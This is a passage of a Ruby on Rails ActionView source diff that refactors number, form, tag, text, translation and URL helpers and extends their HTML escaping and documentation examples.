@@ -639,6 +715,19 @@ module ActionView
#
# ==== Options
# * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # email_field_tag 'name'
+ # # => <input id="name" name="name" type="email" />
+ #
+ # email_field_tag 'email', 'email@example.com'
+ # # => <input id="email" name="email" type="email" value="email@example.com" />
+ #
+ # email_field_tag 'email', nil, class: 'special_input'
+ # # => <input class="special_input" id="email" name="email" type="email" />
+ #
+ # email_field_tag 'email', 'email@example.com', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="email" name="email" type="email" value="email@example.com" />
def email_field_tag(name, value = nil, options = {})
text_field_tag(name, value, options.stringify_keys.update("type" => "email"))
end
@@ -650,12 +739,40 @@ module ActionView
# * <tt>:max</tt> - The maximum acceptable value.
# * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
# <tt>:max</tt> values.
+ # * <tt>:within</tt> - Same as <tt>:in</tt>.
# * <tt>:step</tt> - The acceptable value granularity.
# * Otherwise accepts the same options as text_field_tag.
#
# ==== Examples
+ # number_field_tag 'quantity'
+ # # => <input id="quantity" name="quantity" type="number" />
+ #
+ # number_field_tag 'quantity', '1'
+ # # => <input id="quantity" name="quantity" type="number" value="1" />
+ #
+ # number_field_tag 'quantity', nil, class: 'special_input'
+ # # => <input class="special_input" id="quantity" name="quantity" type="number" />
+ #
+ # number_field_tag 'quantity', nil, min: 1
+ # # => <input id="quantity" name="quantity" min="1" type="number" />
+ #
+ # number_field_tag 'quantity', nil, max: 9
+ # # => <input id="quantity" name="quantity" max="9" type="number" />
+ #
# number_field_tag 'quantity', nil, in: 1...10
# # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+ #
+ # number_field_tag 'quantity', nil, within: 1...10
+ # # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+ #
+ # number_field_tag 'quantity', nil, min: 1, max: 10
+ # # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+ #
+ # number_field_tag 'quantity', nil, min: 1, max: 10, step: 2
+ # # => <input id="quantity" name="quantity" min="1" max="9" step="2" type="number" />
+ #
+ # number_field_tag 'quantity', '1', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="quantity" name="quantity" type="number" value="1" />
def number_field_tag(name, value = nil, options = {})
options = options.stringify_keys
options["type"] ||= "number"
@@ -719,8 +836,11 @@ module ActionView
method_tag(method) + token_tag(authenticity_token)
end
- tags = utf8_enforcer_tag << method_tag
- content_tag(:div, tags, :style => 'margin:0;padding:0;display:inline')
+ if html_options.delete("enforce_utf8") { true }
+ utf8_enforcer_tag + method_tag
+ else
+ method_tag
+ end
end
def form_tag_html(html_options)
diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb
index fda7038a5d..7157a95146 100644
--- a/actionview/lib/action_view/helpers/number_helper.rb
+++ b/actionview/lib/action_view/helpers/number_helper.rb
@@ -100,17 +100,12 @@ module ActionView
#
# number_to_currency(-1234567890.50, negative_format: "(%u%n)")
# # => ($1,234,567,890.50)
- # number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "")
- # # => &pound;1234567890,50
- # number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "", format: "%n %u")
- # # => 1234567890,50 &pound;
+ # number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "")
+ # # => R$1234567890,50
+ # number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "", format: "%n %u")
+ # # => 1234567890,50 R$
def number_to_currency(number, options = {})
- return unless number
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_currency(number, options)
- }
+ delegate_number_helper_method(:number_to_currency, number, options)
end
# Formats a +number+ as a percentage string (e.g., 65%). You can
@@ -150,12 +145,7 @@ module ActionView
#
# number_to_percentage("98a", raise: true) # => InvalidNumberError
def number_to_percentage(number, options = {})
- return unless number
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_percentage(number, options)
- }
+ delegate_number_helper_method(:number_to_percentage, number, options)
end
# Formats a +number+ with grouped thousands using +delimiter+
@@ -188,11 +178,7 @@ module ActionView
#
# number_with_delimiter("112a", raise: true) # => raise InvalidNumberError
def number_with_delimiter(number, options = {})
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_delimited(number, options)
- }
+ delegate_number_helper_method(:number_to_delimited, number, options)
end
# Formats a +number+ with the specified level of
@@ -237,11 +223,7 @@ module ActionView
# number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
# # => 1.111,23
def number_with_precision(number, options = {})
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_rounded(number, options)
- }
+ delegate_number_helper_method(:number_to_rounded, number, options)
end
# Formats the bytes in +number+ into a more understandable
@@ -293,11 +275,7 @@ module ActionView
# number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
# number_to_human_size(524288000, precision: 5) # => "500 MB"
def number_to_human_size(number, options = {})
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_human_size(number, options)
- }
+ delegate_number_helper_method(:number_to_human_size, number, options)
end
# Pretty prints (formats and approximates) a number in a way it
@@ -399,21 +377,36 @@ module ActionView
# number_to_human(0.34, units: :distance) # => "34 centimeters"
#
def number_to_human(number, options = {})
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
+ delegate_number_helper_method(:number_to_human, number, options)
+ end
+
+ private
+
+ def delegate_number_helper_method(method, number, options)
+ return unless number
+ options = escape_unsafe_options(options.symbolize_keys)
wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_human(number, options)
+ ActiveSupport::NumberHelper.public_send(method, number, options)
}
end
- private
-
- def escape_unsafe_delimiters_and_separators(options)
- options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator] && !options[:separator].html_safe?
- options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter] && !options[:delimiter].html_safe?
+ def escape_unsafe_options(options)
+ options[:format] = ERB::Util.html_escape(options[:format]) if options[:format]
+ options[:negative_format] = ERB::Util.html_escape(options[:negative_format]) if options[:negative_format]
+ options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator]
+ options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter]
+ options[:unit] = ERB::Util.html_escape(options[:unit]) if options[:unit] && !options[:unit].html_safe?
+ options[:units] = escape_units(options[:units]) if options[:units] && Hash === options[:units]
options
end
+ def escape_units(units)
+ Hash[units.map do |k, v|
+ [k, ERB::Util.html_escape(v)]
+ end]
+ end
+
def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
valid_float = valid_float?(number)
raise InvalidNumberError, number if raise_on_invalid && !valid_float
diff --git a/actionview/lib/action_view/helpers/record_tag_helper.rb b/actionview/lib/action_view/helpers/record_tag_helper.rb
index f767957fa9..77c3e6d394 100644
--- a/actionview/lib/action_view/helpers/record_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/record_tag_helper.rb
@@ -1,3 +1,5 @@
+require 'action_view/record_identifier'
+
module ActionView
# = Action View Record Tag Helpers
module Helpers
diff --git a/actionview/lib/action_view/helpers/rendering_helper.rb b/actionview/lib/action_view/helpers/rendering_helper.rb
index 458086de96..ebfc35a4c7 100644
--- a/actionview/lib/action_view/helpers/rendering_helper.rb
+++ b/actionview/lib/action_view/helpers/rendering_helper.rb
@@ -12,6 +12,14 @@ module ActionView
# * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
# * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
# * <tt>:text</tt> - Renders the text passed in out.
+ # * <tt>:plain</tt> - Renders the text passed in out. Setting the content
+ # type as <tt>text/plain</tt>.
+ # * <tt>:html</tt> - Renders the html safe string passed in out, otherwise
+ # performs html escape on the string first. Setting the content type as
+ # <tt>text/html</tt>.
+ # * <tt>:body</tt> - Renders the text passed in, and inherits the content
+ # type of <tt>text/html</tt> from <tt>ActionDispatch::Response</tt>
+ # object.
#
# If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
# as the locals hash.
diff --git a/actionview/lib/action_view/helpers/tag_helper.rb b/actionview/lib/action_view/helpers/tag_helper.rb
index 732f35643a..a9f3b0ffbc 100644
--- a/actionview/lib/action_view/helpers/tag_helper.rb
+++ b/actionview/lib/action_view/helpers/tag_helper.rb
@@ -42,7 +42,8 @@ module ActionView
# For example, a key +user_id+ would render as <tt>data-user-id</tt> and
# thus accessed as <tt>dataset.userId</tt>.
#
- # Values are encoded to JSON, with the exception of strings and symbols.
+ # Values are encoded to JSON, with the exception of strings, symbols and
+ # BigDecimals.
# This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
# from 1.4.3.
#
@@ -56,6 +57,9 @@ module ActionView
# tag("input", type: 'text', disabled: true)
# # => <input type="text" disabled="disabled" />
#
+ # tag("input", type: 'text', class: ["strong", "highlight"])
+ # # => <input class="strong highlight" type="text" />
+ #
# tag("img", src: "open & shut.png")
# # => <img src="open &amp; shut.png" />
#
@@ -75,7 +79,7 @@ module ActionView
# Set escape to false to disable attribute value escaping.
#
# ==== Options
- # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
+ # The +options+ hash can be used with attributes with no value like (<tt>disabled</tt> and
# <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
# symbols or strings for the attribute names.
#
@@ -84,6 +88,8 @@ module ActionView
# # => <p>Hello world!</p>
# content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
# # => <div class="strong"><p>Hello world!</p></div>
+ # content_tag(:div, "Hello world!", class: ["strong", "highlight"])
+ # # => <div class="strong highlight">Hello world!</div>
# content_tag("select", options, multiple: true)
# # => <select multiple="multiple">...options...</select>
#
@@ -114,7 +120,7 @@ module ActionView
# cdata_section("hello]]>world")
# # => <![CDATA[hello]]]]><![CDATA[>world]]>
def cdata_section(content)
- splitted = content.gsub(']]>', ']]]]><![CDATA[>')
+ splitted = content.to_s.gsub(']]>', ']]]]><![CDATA[>')
"<![CDATA[#{splitted}]]>".html_safe
end
@@ -151,7 +157,7 @@ module ActionView
attrs << tag_option(key, value, escape)
end
end
- " #{attrs.sort! * ' '}".html_safe unless attrs.empty?
+ " #{attrs.sort! * ' '}" unless attrs.empty?
end
def data_tag_option(key, value, escape)
diff --git a/actionview/lib/action_view/helpers/tags.rb b/actionview/lib/action_view/helpers/tags.rb
index a05e16979a..45c75d10c0 100644
--- a/actionview/lib/action_view/helpers/tags.rb
+++ b/actionview/lib/action_view/helpers/tags.rb
@@ -3,37 +3,39 @@ module ActionView
module Tags #:nodoc:
extend ActiveSupport::Autoload
- autoload :Base
- autoload :CheckBox
- autoload :CollectionCheckBoxes
- autoload :CollectionRadioButtons
- autoload :CollectionSelect
- autoload :ColorField
- autoload :DateField
- autoload :DateSelect
- autoload :DatetimeField
- autoload :DatetimeLocalField
- autoload :DatetimeSelect
- autoload :EmailField
- autoload :FileField
- autoload :GroupedCollectionSelect
- autoload :HiddenField
- autoload :Label
- autoload :MonthField
- autoload :NumberField
- autoload :PasswordField
- autoload :RadioButton
- autoload :RangeField
- autoload :SearchField
- autoload :Select
- autoload :TelField
- autoload :TextArea
- autoload :TextField
- autoload :TimeField
- autoload :TimeSelect
- autoload :TimeZoneSelect
- autoload :UrlField
- autoload :WeekField
+ eager_autoload do
+ autoload :Base
+ autoload :CheckBox
+ autoload :CollectionCheckBoxes
+ autoload :CollectionRadioButtons
+ autoload :CollectionSelect
+ autoload :ColorField
+ autoload :DateField
+ autoload :DateSelect
+ autoload :DatetimeField
+ autoload :DatetimeLocalField
+ autoload :DatetimeSelect
+ autoload :EmailField
+ autoload :FileField
+ autoload :GroupedCollectionSelect
+ autoload :HiddenField
+ autoload :Label
+ autoload :MonthField
+ autoload :NumberField
+ autoload :PasswordField
+ autoload :RadioButton
+ autoload :RangeField
+ autoload :SearchField
+ autoload :Select
+ autoload :TelField
+ autoload :TextArea
+ autoload :TextField
+ autoload :TimeField
+ autoload :TimeSelect
+ autoload :TimeZoneSelect
+ autoload :UrlField
+ autoload :WeekField
+ end
end
end
end
diff --git a/actionview/lib/action_view/helpers/tags/base.rb b/actionview/lib/action_view/helpers/tags/base.rb
index 3fe3f4e9df..8607da301c 100644
--- a/actionview/lib/action_view/helpers/tags/base.rb
+++ b/actionview/lib/action_view/helpers/tags/base.rb
@@ -119,7 +119,8 @@ module ActionView
html_options = html_options.stringify_keys
add_default_name_and_id(html_options)
options[:include_blank] ||= true unless options[:prompt] || select_not_required?(html_options)
- select = content_tag("select", add_options(option_tags, options, value(object)), html_options)
+ value = options.fetch(:selected) { value(object) }
+ select = content_tag("select", add_options(option_tags, options, value), html_options)
if html_options["multiple"] && options.fetch(:include_hidden, true)
tag("input", :disabled => html_options["disabled"], :name => html_options["name"], :type => "hidden", :value => "") + select
diff --git a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
index 52006d856b..6242a2a085 100644
--- a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
@@ -27,9 +27,11 @@ module ActionView
# Append a hidden field to make sure something will be sent back to the
# server if all check boxes are unchecked.
- hidden = @template_object.hidden_field_tag("#{tag_name}[]", "", :id => nil)
-
- rendered_collection + hidden
+ if @options.fetch(:include_hidden, true)
+ rendered_collection + hidden_field
+ else
+ rendered_collection
+ end
end
private
@@ -37,6 +39,18 @@ module ActionView
def render_component(builder)
builder.check_box + builder.label
end
+
+ def hidden_field
+ hidden_name = @html_options[:name]
+
+ hidden_name ||= if @options.has_key?(:index)
+ "#{tag_name_with_index(@options[:index])}[]"
+ else
+ "#{tag_name}[]"
+ end
+
+ @template_object.hidden_field_tag(hidden_name, "", id: nil)
+ end
end
end
end
diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
index 388dcf1f13..8050638363 100644
--- a/actionview/lib/action_view/helpers/tags/collection_helpers.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
@@ -18,7 +18,8 @@ module ActionView
end
def label(label_html_options={}, &block)
- @template_object.label(@object_name, @sanitized_attribute_name, @text, label_html_options, &block)
+ html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options)
+ @template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)
end
end
@@ -43,7 +44,7 @@ module ActionView
def default_html_options_for_collection(item, value) #:nodoc:
html_options = @html_options.dup
- [:checked, :selected, :disabled].each do |option|
+ [:checked, :selected, :disabled, :readonly].each do |option|
current_value = @options[option]
next if current_value.nil?
diff --git a/actionview/lib/action_view/helpers/tags/color_field.rb b/actionview/lib/action_view/helpers/tags/color_field.rb
index d8fc797035..b4bbe92746 100644
--- a/actionview/lib/action_view/helpers/tags/color_field.rb
+++ b/actionview/lib/action_view/helpers/tags/color_field.rb
@@ -4,7 +4,7 @@ module ActionView
class ColorField < TextField # :nodoc:
def render
options = @options.stringify_keys
- options["value"] = @options.fetch("value") { validate_color_string(value(object)) }
+ options["value"] ||= validate_color_string(value(object))
@options = options
super
end
diff --git a/actionview/lib/action_view/helpers/tags/datetime_field.rb b/actionview/lib/action_view/helpers/tags/datetime_field.rb
index 9a2279c611..25e7e05ec6 100644
--- a/actionview/lib/action_view/helpers/tags/datetime_field.rb
+++ b/actionview/lib/action_view/helpers/tags/datetime_field.rb
@@ -4,7 +4,7 @@ module ActionView
class DatetimeField < TextField # :nodoc:
def render
options = @options.stringify_keys
- options["value"] = @options.fetch("value") { format_date(value(object)) }
+ options["value"] ||= format_date(value(object))
options["min"] = format_date(options["min"])
options["max"] = format_date(options["max"])
@options = options
diff --git a/actionview/lib/action_view/helpers/tags/label.rb b/actionview/lib/action_view/helpers/tags/label.rb
index 35d3ba8434..6335e3dd4d 100644
--- a/actionview/lib/action_view/helpers/tags/label.rb
+++ b/actionview/lib/action_view/helpers/tags/label.rb
@@ -36,7 +36,7 @@ module ActionView
content = @template_object.capture(&block)
else
content = if @content.blank?
- @object_name.gsub!(/\[(.*)_attributes\]\[\d\]/, '.\1')
+ @object_name.gsub!(/\[(.*)_attributes\]\[\d+\]/, '.\1')
method_and_value = tag_value.present? ? "#{@method_name}.#{tag_value}" : @method_name
if object.respond_to?(:to_model)
diff --git a/actionview/lib/action_view/helpers/tags/select.rb b/actionview/lib/action_view/helpers/tags/select.rb
index d64e2f68ef..00881d9978 100644
--- a/actionview/lib/action_view/helpers/tags/select.rb
+++ b/actionview/lib/action_view/helpers/tags/select.rb
@@ -3,8 +3,9 @@ module ActionView
module Tags # :nodoc:
class Select < Base # :nodoc:
def initialize(object_name, method_name, template_object, choices, options, html_options)
- @choices = choices
+ @choices = block_given? ? template_object.capture { yield } : choices
@choices = @choices.to_a if @choices.is_a?(Range)
+
@html_options = html_options
super(object_name, method_name, template_object, options)
diff --git a/actionview/lib/action_view/helpers/tags/text_area.rb b/actionview/lib/action_view/helpers/tags/text_area.rb
index c81156c0c8..9ee83ee7c2 100644
--- a/actionview/lib/action_view/helpers/tags/text_area.rb
+++ b/actionview/lib/action_view/helpers/tags/text_area.rb
@@ -10,7 +10,7 @@ module ActionView
options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
end
- content_tag("textarea", options.delete('value') || value_before_type_cast(object), options)
+ content_tag("textarea", options.delete("value") { value_before_type_cast(object) }, options)
end
end
end
diff --git a/actionview/lib/action_view/helpers/tags/text_field.rb b/actionview/lib/action_view/helpers/tags/text_field.rb
index baa5ff768e..e910879ebf 100644
--- a/actionview/lib/action_view/helpers/tags/text_field.rb
+++ b/actionview/lib/action_view/helpers/tags/text_field.rb
@@ -5,8 +5,8 @@ module ActionView
def render
options = @options.stringify_keys
options["size"] = options["maxlength"] unless options.key?("size")
- options["type"] ||= field_type
- options["value"] = options.fetch("value"){ value_before_type_cast(object) } unless field_type == "file"
+ options["type"] ||= field_type
+ options["value"] = options.fetch("value") { value_before_type_cast(object) } unless field_type == "file"
options["value"] &&= ERB::Util.html_escape(options["value"])
add_default_name_and_id(options)
tag("input", options)
diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb
index 147f9fd8ed..7cfbca5b6f 100644
--- a/actionview/lib/action_view/helpers/text_helper.rb
+++ b/actionview/lib/action_view/helpers/text_helper.rb
@@ -31,6 +31,8 @@ module ActionView
include SanitizeHelper
include TagHelper
+ include OutputSafetyHelper
+
# The preferred method of outputting text in your views is to use the
# <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
# do not operate as expected in an eRuby code block. If you absolutely must
@@ -80,6 +82,9 @@ module ActionView
# # => "And they f... (continued)"
#
# truncate("<p>Once upon a time in a world far far away</p>")
+ # # => "&lt;p&gt;Once upon a time in a wo..."
+ #
+ # truncate("<p>Once upon a time in a world far far away</p>", escape: false)
# # => "<p>Once upon a time in a wo..."
#
# truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
@@ -150,17 +155,19 @@ module ActionView
def excerpt(text, phrase, options = {})
return unless text && phrase
- separator = options.fetch(:separator, "")
+ separator = options[:separator] || ''
phrase = Regexp.escape(phrase)
regex = /#{phrase}/i
return unless matches = text.match(regex)
phrase = matches[0]
- text.split(separator).each do |value|
- if value.match(regex)
- regex = phrase = value
- break
+ unless separator.empty?
+ text.split(separator).each do |value|
+ if value.match(regex)
+ regex = phrase = value
+ break
+ end
end
end
@@ -169,7 +176,8 @@ module ActionView
prefix, first_part = cut_excerpt_part(:first, first_part, separator, options)
postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
- prefix + (first_part + separator + phrase + separator + second_part).strip + postfix
+ affix = [first_part, separator, phrase, separator, second_part].join.strip
+ [prefix, affix, postfix].join
end
# Attempts to pluralize the +singular+ word unless +count+ is 1. If
@@ -215,7 +223,7 @@ module ActionView
def word_wrap(text, options = {})
line_width = options.fetch(:line_width, 80)
- text.split("\n").collect do |line|
+ text.split("\n").collect! do |line|
line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1\n").strip : line
end * "\n"
end
@@ -254,7 +262,7 @@ module ActionView
# # => "<p>Unblinkable.</p>"
#
# simple_format("<blink>Blinkable!</blink> It's true.", {}, sanitize: false)
- # # => "<p><blink>Blinkable!</span> It's true.</p>"
+ # # => "<p><blink>Blinkable!</blink> It's true.</p>"
def simple_format(text, html_options = {}, options = {})
wrapper_tag = options.fetch(:wrapper_tag, :p)
@@ -264,8 +272,8 @@ module ActionView
if paragraphs.empty?
content_tag(wrapper_tag, nil, html_options)
else
- paragraphs.map { |paragraph|
- content_tag(wrapper_tag, paragraph, html_options, options[:sanitize])
+ paragraphs.map! { |paragraph|
+ content_tag(wrapper_tag, raw(paragraph), html_options)
}.join("\n\n").html_safe
end
end
@@ -311,7 +319,7 @@ module ActionView
options = values.extract_options!
name = options.fetch(:name, 'default')
- values.unshift(first_value)
+ values.unshift(*first_value)
cycle = get_cycle(name)
unless cycle && cycle.values == values
diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb
index ad8eb47f1f..0bc40874d9 100644
--- a/actionview/lib/action_view/helpers/translation_helper.rb
+++ b/actionview/lib/action_view/helpers/translation_helper.rb
@@ -1,24 +1,14 @@
require 'action_view/helpers/tag_helper'
require 'i18n/exceptions'
-module I18n
- class ExceptionHandler
- include Module.new {
- def call(exception, locale, key, options)
- exception.is_a?(MissingTranslation) && options[:rescue_format] == :html ? super.html_safe : super
- end
- }
- end
-end
-
module ActionView
# = Action View Translation Helpers
module Helpers
module TranslationHelper
# Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
#
- # First, it'll pass the <tt>rescue_format: :html</tt> option to I18n so that any
- # thrown +MissingTranslation+ messages will be turned into inline spans that
+ # First, it will ensure that any thrown +MissingTranslation+ messages will be turned
+ # into inline spans that:
#
# * have a "translation-missing" class set,
# * contain the missing key as a title attribute and
@@ -44,8 +34,17 @@ module ActionView
# naming convention helps to identify translations that include HTML tags so that
# you know what kind of output to expect when you call translate in a template.
def translate(key, options = {})
- options.merge!(:rescue_format => :html) unless options.key?(:rescue_format)
options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
+
+ # If the user has specified rescue_format then pass it all through, otherwise use
+ # raise and do the work ourselves
+ options[:raise] ||= ActionView::Base.raise_on_missing_translations
+
+ raise_error = options[:raise] || options.key?(:rescue_format)
+ unless raise_error
+ options[:raise] = true
+ end
+
if html_safe_translation_key?(key)
html_safe_options = options.dup
options.except(*I18n::RESERVED_KEYS).each do |name, value|
@@ -59,6 +58,11 @@ module ActionView
else
I18n.translate(scope_key_by_partial(key), options)
end
+ rescue I18n::MissingTranslationData => e
+ raise e if raise_error
+
+ keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
+ content_tag('span', keys.last.to_s.titleize, :class => 'translation_missing', :title => "translation missing: #{keys.join('.')}")
end
alias :t :translate
diff --git a/actionview/lib/action_view/helpers/url_helper.rb b/actionview/lib/action_view/helpers/url_helper.rb
index 19e5941971..894616a449 100644
--- a/actionview/lib/action_view/helpers/url_helper.rb
+++ b/actionview/lib/action_view/helpers/url_helper.rb
@@ -16,7 +16,7 @@ module ActionView
# provided here will only work in the context of a request
# (link_to_unless_current, for instance), which must be provided
# as a method called #request on the context.
-
+ BUTTON_TAG_METHOD_VERBS = %w{patch put delete}
extend ActiveSupport::Concern
include TagHelper
@@ -82,7 +82,7 @@ module ActionView
# to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
# disabled clicking the link will have no effect. If you are relying on the
# POST behavior, you should check for it in your controller's action by using
- # the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>:patch</tt>, or <tt>put?</tt>.
+ # the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>patch?</tt>, or <tt>put?</tt>.
# * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
# driver to make an Ajax request to the URL in question instead of following
# the link. The drivers each provide mechanisms for listening for the
@@ -92,8 +92,9 @@ module ActionView
# ==== Data attributes
#
# * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
- # driver to prompt with the question specified. If the user accepts, the link is
- # processed normally, otherwise no action is taken.
+ # driver to prompt with the question specified (in this case, the
+ # resulting text would be <tt>question?</tt>. If the user accepts, the
+ # link is processed normally, otherwise no action is taken.
# * <tt>:disable_with</tt> - Value of this parameter will be
# used as the value for a disabled version of the submit
# button when the form is submitted. This feature is provided
@@ -172,7 +173,7 @@ module ActionView
# link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
# # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a>
def link_to(name = nil, options = nil, html_options = nil, &block)
- html_options, options = options, name if block_given?
+ html_options, options, name = options, name, block if block_given?
options ||= {}
html_options = convert_options_to_data_attributes(options, html_options)
@@ -213,6 +214,7 @@ module ActionView
# * <tt>:form</tt> - This hash will be form attributes
# * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
# be placed
+ # * <tt>:params</tt> - Hash of parameters to be rendered as hidden fields within the form.
#
# ==== Data attributes
#
@@ -230,6 +232,11 @@ module ActionView
# # <div><input value="New" type="submit" /></div>
# # </form>"
#
+ # <%= button_to "New", new_articles_path %>
+ # # => "<form method="post" action="/articles/new" class="button_to">
+ # # <div><input value="New" type="submit" /></div>
+ # # </form>"
+ #
# <%= button_to [:make_happy, @user] do %>
# Make happy <strong><%= @user.name %></strong>
# <% end %>
@@ -287,9 +294,10 @@ module ActionView
url = options.is_a?(String) ? options : url_for(options)
remote = html_options.delete('remote')
+ params = html_options.delete('params')
method = html_options.delete('method').to_s
- method_tag = %w{patch put delete}.include?(method) ? method_tag(method) : ''.html_safe
+ method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : ''.html_safe
form_method = method == 'get' ? 'get' : 'post'
form_options = html_options.delete('form') || {}
@@ -310,7 +318,12 @@ module ActionView
end
inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
- content_tag('form', content_tag('div', inner_tags), form_options)
+ if params
+ params.each do |param_name, value|
+ inner_tags.safe_concat tag(:input, type: "hidden", name: param_name, value: value.to_param)
+ end
+ end
+ content_tag('form', inner_tags, form_options)
end
# Creates a link tag of the given +name+ using a URL created by the set of
@@ -376,15 +389,7 @@ module ActionView
# # If not...
# # => <a href="/accounts/signup">Reply</a>
def link_to_unless(condition, name, options = {}, html_options = {}, &block)
- if condition
- if block_given?
- block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
- else
- ERB::Util.html_escape(name)
- end
- else
- link_to(name, options, html_options)
- end
+ link_to_if !condition, name, options, html_options, &block
end
# Creates a link tag of the given +name+ using a URL created by the set of
@@ -408,7 +413,15 @@ module ActionView
# # If they are logged in...
# # => <a href="/accounts/show/3">my_username</a>
def link_to_if(condition, name, options = {}, html_options = {}, &block)
- link_to_unless !condition, name, options, html_options, &block
+ if condition
+ link_to(name, options, html_options)
+ else
+ if block_given?
+ block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
+ else
+ ERB::Util.html_escape(name)
+ end
+ end
end
# Creates a mailto link tag to the specified +email_address+, which is
@@ -454,7 +467,7 @@ module ActionView
html_options, name = name, nil if block_given?
html_options = (html_options || {}).stringify_keys
- extras = %w{ cc bcc body subject }.map { |item|
+ extras = %w{ cc bcc body subject }.map! { |item|
option = html_options.delete(item) || next
"#{item}=#{Rack::Utils.escape_path(option)}"
}.compact
@@ -528,12 +541,13 @@ module ActionView
return false unless request.get? || request.head?
- url_string = url_for(options)
+ url_string = URI.parser.unescape(url_for(options)).force_encoding(Encoding::BINARY)
# We ignore any extra parameters in the request_uri if the
# submitted url doesn't have any either. This lets the function
# work with things like ?order=asc
request_uri = url_string.index("?") ? request.fullpath : request.path
+ request_uri = URI.parser.unescape(request_uri).force_encoding(Encoding::BINARY)
if url_string =~ /^\w+:\/\//
url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
diff --git a/actionpack/lib/abstract_controller/layouts.rb b/actionview/lib/action_view/layouts.rb
index 8e7bdf620e..9ee05bd816 100644
--- a/actionpack/lib/abstract_controller/layouts.rb
+++ b/actionview/lib/action_view/layouts.rb
@@ -1,6 +1,7 @@
+require "action_view/rendering"
require "active_support/core_ext/module/remove_method"
-module AbstractController
+module ActionView
# Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
# repeated setups. The inclusion pattern has pages that look like this:
#
@@ -200,7 +201,7 @@ module AbstractController
module Layouts
extend ActiveSupport::Concern
- include Rendering
+ include ActionView::Rendering
included do
class_attribute :_layout, :_layout_conditions, :instance_accessor => false
@@ -220,7 +221,7 @@ module AbstractController
# This module is mixed in if layout conditions are provided. This means
# that if no layout conditions are used, this method is not used
module LayoutConditions # :nodoc:
- private
+ private
# Determines whether the current action has a layout definition by
# checking the action name against the :only and :except conditions
@@ -268,15 +269,6 @@ module AbstractController
_write_layout_method
end
- # If no layout is supplied, look for a template named the return
- # value of this method.
- #
- # ==== Returns
- # * <tt>String</tt> - A template name
- def _implied_layout_name # :nodoc:
- controller_path
- end
-
